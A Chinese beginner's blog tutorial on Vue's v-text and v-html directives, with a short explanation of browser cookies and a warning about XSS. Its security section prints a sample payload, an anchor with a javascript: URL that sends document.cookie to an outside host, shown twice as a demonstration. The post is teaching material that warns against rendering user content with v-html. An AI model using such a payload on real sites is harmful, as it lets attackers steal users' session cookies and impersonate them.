一起养成写作习惯！这是我参与「掘金日新计划 · 4 月更文挑战」的第10天，点击查看活动详情。
我要一步一步往上爬~大家好，今天我们来一起学习一下v-text和v-html
1. v-text v-html用法展示
<div id="root">
<div>你好，{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
<div v-html="str"></div>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'何同学',
str:'<h3>你好啊！</h3>'
}
})
</script>
结果展示：
可以看到v-text指令的作用是向其所在的节点渲染文本内容，插值语法的优点在于和其他字符的连接更加灵活，而v-text会替换掉节点里的内容。
v-html可以把'<h3>你好啊！</h3>'解析成正确的内容，支持结构解析
2. v-html安全问题
2.1 cookie原理简述
业务场景：
登录github网站，输入用户名密码登录，页面跳转到个人中心后，假设
想要点第二个按钮跳转到我的代码仓库，这时候是不需要再次输入用户名和密码d的，有的网站都能做到七天免登录，这就是借助cookie实现的。
下面两张图是网页请求中cookie的原理：
第一次请求
用户打开chorme，在github网址上输入用户名密码，chromw携带这些信息像服务器请求登录，在信息校验后，服务器会传回指令和cookie（红色的，它的本质是字符串）交给浏览器，chrome用一小块空间存储cookie，并且会按照网站的分类整理好。
第二次请求
转到我的代码仓库，本次请求会自动携带之前给的cookie， github服务器进行校验后，就返回响应请求，并返回新的cookie，因网站而定，有的一次性给完，有的分次给，k1k2就是你的电脑的身份标识，非常重要！
cookie是不能跨浏览器共享的，举个例子，你chrome登录淘宝保存的信息，打开firefox就是不存在的，需要重新输入用户名密码去向服务器做请求
2.2 v-html安全问题
在
application处我们模拟两条cookie，然后在console界面通过document.cookie是可以直接获取电脑的cookie信息的，之后我们通过写下面的代码，点击链接后，是可以直接在网址处获取到后台的cookie的，获取到cookie之后，不法分子就可以用你的身份去登录网站做一些不好的事情了。
？用于获取参数，可以获取到没有被httponly标记的cookie
str2:'<a href=javascript:location.href=
"http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
str2:'<a href=javascript:location.href=
"http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
3. 总结
-
v-html指令的作用是向指定节点渲染含有html结构的内容。
-
它与插值语法的区别有两点：
- 会替换掉节点中的所有内容，插值语法不会
- 可以识别html结构
- v-html的安全问题需要特别注意 在网站上动态渲染任意的HTML很危险，不要在用户提交的内容上使用，我们一定要在可信的内容上使用v-html结构，因为这容易受到XSS攻击，也称为冒充用户之手攻击。
